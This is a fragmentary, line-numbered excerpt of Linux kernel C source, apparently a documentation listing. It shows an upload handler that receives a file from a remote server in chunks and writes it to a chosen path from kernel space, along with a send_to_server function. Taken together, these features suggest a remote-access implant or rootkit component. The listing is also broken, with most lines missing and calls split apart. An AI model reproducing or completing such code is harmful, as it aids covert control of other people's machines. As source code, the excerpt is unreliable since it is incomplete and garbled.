5#include <linux/string.h>
6#include <linux/uaccess.h>
20 DBG_MSG(
"CHUNK SIZE : %zu\n", len);
23 ERR_MSG(
"handle_upload_chunk: not receiving file, aborting chunk\n");
32 for (i = 0; i < to_copy; i++) {
37 DBG_MSG(
"handle_upload_chunk: received %zu bytes (%ld/%ld)\n", to_copy,
41 DBG_MSG(
"handle_upload_chunk: full upload received, writing to file\n");
44 filp_open(
upload_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
53 ERR_MSG(
"handle_upload_chunk: partial write (%zd/%ld)\n", written,
62 filp_close(filp, NULL);
76 DBG_MSG(
"start_upload: path=%s, size=%ld\n", path, size);
97 DBG_MSG(
"start_upload: setup complete\n");
102 if (protocol !=
TCP) {
103 DBG_MSG(
"warning: upload will be over TCP.\n");
111 char *path_str = strsep(&args,
" ");
112 char *size_str = args;
114 if (!path_str || !size_str) {
120 if (kstrtol(size_str, 10, &size) < 0 || size <= 0) {
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
static struct dentry * file
int send_to_server(enum Protocol protocol, char *message,...)
int start_upload(const char *path, long size)
int upload_handler(char *args, enum Protocol protocol)
int handle_upload_chunk(const char *data, size_t len, enum Protocol protocol)